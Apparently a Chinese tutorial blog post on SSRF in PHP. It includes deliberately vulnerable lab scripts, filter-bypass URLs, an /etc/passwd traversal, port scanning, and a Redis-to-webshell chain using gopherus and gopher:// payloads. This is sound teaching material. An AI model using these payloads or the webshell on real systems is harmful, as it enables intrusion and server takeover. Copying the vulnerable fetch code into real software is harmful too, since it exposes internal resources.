08_SSRF服务器请求伪造

ssrf ===> server site request forgery 服务器端请求伪造

一、原理

本质上 迫使服务器端访问本无法访问到的资源(内网中的资源)

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

二、常用函数

1. file_get_contents()
<?php
	echo file_get_contents($_GET['url']);
(1) 服务器为kali,通过kali的存在ssrf漏洞的文件访问主机里面的某个文件内容

在这里插入图片描述

(2) 在linux 操作系统下 file_get_contents 限制了协议的开始 可以采用传递一个不存在的协议联合相对路径来进行任意文件包含
httpasdasd://../../../../../../../etc/passwd

在这里插入图片描述

2. fsockopen 开启一个套接字

套接字相当于服务器,往套接字里面写东西相当于发送请求包

<?php
function GetFile($host, $port, $link)
{	
	//开启一个套接字,返回的是一个资源类型$fp 
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
    if (!$fp) {
        echo "$errstr (error number $errno) \n";
    } else {
        $out = "GET $link HTTP/1.1\r\n";
        $out .= "Host: $host\r\n";
        $out .= "Connection: Close\r\n\r\n";
        $out .= "\r\n";
       	//往套接字里面写入$out,$out连接起来就是请求包,相当于给服务器发送请求包
        fwrite($fp, $out);
        $contents = '';
        //feof函数是判断是否读取到资源的末尾
        while (! feof($fp)) {
        	//此时的$fp已经是服务器返回的响应包资源了,$contents是获取响应包里面的所以的内容
            $contents .= fgets($fp, 1024);
        }
        fclose($fp);
        return $contents;
    }
}
$host = $_GET['host'];
$port = $_GET['port'];
$link = $_GET['link'];
echo GetFile($host, $port, $link);
?>
3. curl_init()

curl_setopt()

curl_exec()

curl可以理解为命令行版的浏览器

在这里插入图片描述

(1) curl_intit() 初始化一个curl对象,curl对象也是一个资源类型的对象
(2) curl_setopt() 设置curl对象的具体配置选项

        CURLOPT_POST    true 时会发送 POST 请求
                       类型为:application/x-www-form-urlencoded
                       是 HTML 表单提交时最常见的一种。

        CURLOPT_URL	    需要获取的 URL 地址
                       也可以在curl_init() 初始化会话的时候。

        CURLOPT_RETURNTRANSFER   将执行响应包的内容重定向
	
(3) curl_exec()   执行   
    
<?php
if (isset($_POST['url'])) {
    $link = $_POST['url'];	
    $curlobj = curl_init();					//初始化一个curl对象		
    curl_setopt($curlobj, CURLOPT_POST, 0);    //设置为0,对应false,以get方式输出
    curl_setopt($curlobj, CURLOPT_URL, $link);		//想要访问的url的值
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);  //将返回内容重定向
    $result = curl_exec($curlobj);				///执行,$result返回的是响应包的资源
    curl_close($curlobj);
    echo $result;
} 				

三、feof函数

feof函数是判断是否读取到资源的末尾,利用feof函数来读取文件内容

<?php
    $fp = fopen('C:\phpstudy_pro\WWW\lesson_ssrf\ssrf_test2.php','r+');
    $contents = '';
    while(!feof($fp)){
         $contents.=fread($fp,1024);
    //    $contents.=fgets($fp,1024);
    //    $contents.=fgetc($fp);
    //    $contents.=stream_get_contents($fp);
    }
    var_dump($contents);
    fclose($fp);

四、利用@符号绕过parse_url限制

1. 题目
<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;// 检查是否是内网ip
}
function safe_request_url($url)
{
    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }
}
$url = $_GET['url'];
if(!empty($url)){
    safe_request_url($url);
}
?>
2. 解析: 先介绍这个题里面的几个函数
1. parse_url函数
	作用: 解析url,给一个url参数,它会以数组的形式返回url相关的值
		举例:
        	$url = 'http://localhost/bihuo.txt';
			$url_parse = parse_url($url);
			
			$url_parse的值为一个数组,['scheme'=>'http','host'=>'localhost','path'=>'/bihuo.txt']
			返回 协议 主机 路径
			
2. gethostbyname函数			
	作用: 给一个主机,返回它的ipv4地址
    	举例:
    		$host = 'localhost';
    		$ip = gethostbyname($host);
    		
   			此时$ip的值为127.0.0.1
   			
3. ip2long函数
	作用: 将ipv4地址转换为长整型
	举例:
		$ip = '123.13.14.155';
		
		(1) 先转换为十六进制,1B = 8bit,所以十六进制不够位数的,前面补0 
               123 ===> 十六进制 ===> 0111 1011
               13  ===> 十六进制 ===> 1101 ===> 0000 1101
               14  ===> 十六进制 ===> 1110 ===> 0000 1110
               155 ===> 十六进制 ===> 1001 1011
		(2) 将转换后的十六进制按顺序拼接
			0111 1011 0000 1101 0000 1110 1001 1011
		(3) 将拼接好后的十六进制转换为十进制
			十进制: 2064453275
		echo ip2long($ip);  //结果: 2064453275  
4. 位运算 >>  右移
	 后面跟数字几,往右移几位,舍弃掉移动的,一个ip总共32位	
     ip2long('127.0.0.0')>>24        // 127
     ip2long('10.0.0.0')>>24		// 10
     ip2long('172.16.0.0')>>20 		// -1343
     ip2long('192.168.0.0')>>16 	// -16216  
3. 不用@符号前:

(1) 当传一个本地的文件的路径时候,bihuo.txt里面内容 ‘flag:bihuo.txt’
在这里插入图片描述
(2) parse_url()
在这里插入图片描述
(3) gethostbyname()
在这里插入图片描述
(4) >> 位运算 此时$ini_ip = ip2long(‘127.0.0.1’) = 2130706433

return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;// 检查是否是内网ip
    
    
ip2long('127.0.0.0')>>24   ===> 127       
ip2long('10.0.0.0')>>24	   ===> 10
ip2long('172.16.0.0')>>20  ===> -1343
ip2long('192.168.0.0')>>16 ===> -16216  

$int_ip>>24 ===> 127
$int_ip>>20 ===> 2032
$int_ip>>16 ===> 32512

经过四次或运算,第一次 ip2long('127.0.0.0')>>24 == $int_ip>>24 为真
因此,return true;

所以if条件为真,打印 http://www.localhost.com/lesson_ssrf/bihuo.txt is is inner ip
    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
4. 用@符号之后:

(1) 当传一个利用@符号的url

http://@127.0.0.1:80@www.baidu.com/lesson_ssrf/bihuo.txt 

在这里插入图片描述
(2) parse_url(),此时的@127.0.0.1 被当作了用户账号,80被当初密码,主机为www.baidu.com
在这里插入图片描述
(3) gethostbyname() 函数获取的主机为www.baidu.com,$ip为ping 百度的ip
在这里插入图片描述

(4) >> 位运算 此时$ini_ip = ip2long(‘110.242.68.3’) = 1861370883

ip2long('127.0.0.0')>>24   ===> 127       
ip2long('10.0.0.0')>>24	   ===> 10
ip2long('172.16.0.0')>>20  ===> -1343
ip2long('192.168.0.0')>>16 ===> -16216  

$int_ip>>24 ===> 110
$int_ip>>20 ===> 1775
$int_ip>>16 ===> 28402

四次或运算都为假
return false;

此时if条件为假,进入else里面,进入了curl相关函数带有ssrf漏洞的地方
 else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }
}

原本传的url为http://@127.0.0.1:80@www.baidu.com/lesson_ssrf/bihuo.txt 
curl真正接收的url为http://127.0.0.1:80/lesson_ssrf/bihuo.txt 

最后打印出bihuo.txt里面的内容

五、利用ssrf操作redis数据库

1. docker容器内部,查看6379端口,找到redis数据库服务
	ps -ef | grep 6379
	
2. redis 非关系型数据库
	先开启redis服务
	安装:
		apt-get install redis-server
	开启:
		redis-server

	(1)打开redis命令:
		redis-cli
	(2)设置属性和属性值
         set name bihuo
    (3)获取属性值
         get name
    (4)列出所有的属性       
         keys *
    (5)清空	
    	flushall 

在这里插入图片描述
在这里插入图片描述

六、利用redis写入一句话木马

1. redis数据库写入文件内容的命令
config set dir /var/www/html
config set dbfilename bihuo15.php
set content '<?php eval($_POST[12345]);?>'
save 

在这里插入图片描述

2. 利用抓包无法写入一句话,因为单双引号会引起报错,但是不加引号的话,写不进去内容

在这里插入图片描述
在这里插入图片描述

3. 因此引入gopher协议联合gopherus工具,通过抓包的形式写入一句话木马
(1) python2 get-pip.py
(2) chmod +x install.sh
(3) ./install.sh
(4) python2 gopherus.py --exploit redis
(5) PHPShell
(6) <?php eval($_POST[12345]);?>
(7) gopher://127.0.0.1:6379/_%2A1%0D%0A%248......  这一大串经过url解码后发现,写入的一句话默认写入到了shell.php
	这一大段话要想抓包使用必须经过在再进行url编码
	%67%6f%70%68%65%72%3a......
   	gopher://127.0.0.1:6379/_*1

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

七、利用@符号绕过限制

原理: @符号前的网址没有被真正的访问,后面的才会被真正访问

<?php
    $address = $_GET["handler"];
    preg_match('/^https?\:\/\/www\.baidu\.com/', $address, $match);
    if (!$match)exit("只允许访问baidu");
    // create curl resource
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $address);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($ch);
    curl_close($ch);

    echo $output;

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

八、利用句号绕过限制

句号代替点,127.0.0.1===>127。0.0.1

<?php
    $address = $_GET["handler"];
    preg_match('/local|(127\.0)|192|172/i', $address, $match);
    if ($match){
        exit("只允许访问baidu");
    }
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $address);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($ch);
    curl_close($ch);
    echo $output;

在这里插入图片描述
在这里插入图片描述

九、利用本地回环绕过限制

本地回环地址,有的可以使用,有的不行,灵活去运用 
    127.0.0.1
    localhost
    127.255.255.254 相当于127.0.0.1
    [::1]
    http://0:80
    127.0.1
    127.1
<?php
    $address = $_GET["handler"];
    preg_match('/local|127\.0|192|172/i', $address, $match);
    if ($match){
        exit("只允许访问baidu");
    }
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $address);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($ch);
    curl_close($ch);
    echo $output;

在这里插入图片描述
在这里插入图片描述

十、利用特殊符号绕过限制

① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

<?php
    $address = $_GET["handler"];
    preg_match('/local|127|192|172/i', $address, $match);
    if ($match) {
        exit("只允许访问baidu");
    }
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $address);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($ch);
    curl_close($ch);
    echo $output;

在这里插入图片描述

十一、利用nip.io绕过限制

在这里插入图片描述

<?php
    $address = $_GET["handler"];
    preg_match('/@/i', $address, $match);
    if ($match){
        exit("只允许访问baidu");
    }
    preg_match('/^https?:\/\/www\.baidu\.com/', $address, $match);
    if (!$match){
        exit("只允许访问baidu");
    }
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $address);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($ch);
    curl_close($ch);
    echo $output;

在这里插入图片描述

<?php
    $address = $_GET["handler"];
    preg_match('/@|127|172|192/i', $address, $match);
    if ($match){
        exit("只允许访问baidu");
    }
    preg_match('/^https?:\/\/www\.baidu\.com/', $address, $match);
    if (!$match){
        exit("只允许访问baidu");
    }
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $address);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($ch);
    curl_close($ch);
    echo $output;

在这里插入图片描述

十二、使用短链接绕过限制

生成短链接的网址: https://www.985.so/

<?php
    $address = $_GET["handler"];
    preg_match('/bihuo/i', $address, $match);
    if ($match){
        exit("不允许访问隐私资源");
    }
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $address);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
    $output = curl_exec($ch);
    curl_close($ch);
    echo $output;

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

十三、利用30x重定向绕过限制

前提:
    curl_setopt设置允许重定向
    curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);

重定向代码:
<?php
    header("Location:http://192.168.11.188/lesson_ssrf/bihuo.txt");
    exit(-1);
?>

在这里插入图片描述

在这里插入图片描述

也可以30x重定向加短链接混合使用,http://192.168.11.131/redirect.php ===> http://985.so/bz1ub

在这里插入图片描述

在这里插入图片描述

十四、当使用ping 等函数时 可以对ipv4 地址进行 hex oct dec处理

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

十五、利用ssrf判断端口是否开放

可以根据返回响应包中的内容的变化来判断端口是否开放
    1. 端口开放
        (1) 返回内容
        (2) 无内容 但是快速返回
   	2. 端口未开放: 需要经过一定的时间 然后不返回文件内容
<?php
    // create curl resource
    $ch = curl_init();
    // set url
    curl_setopt($ch, CURLOPT_URL, $_POST["handler"]);
    //return the transfer as a string
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    // $output contains the output string
    $output = curl_exec($ch);
    // close curl resource to free up system resources
    curl_close($ch);
    echo $output;
?>

在这里插入图片描述

十六、ssrf 常见的出现的场景

从URL关键字中寻找:
Share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain
归根到底,其实都是跟链接有关联的

十七、如何快速判断是否存在ssrf漏洞

使用dnslog平台(dnslog.cn)快速判断是否存在ssrf漏洞
如果刷新记录,出现结果,证明存在ssrf漏洞

在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值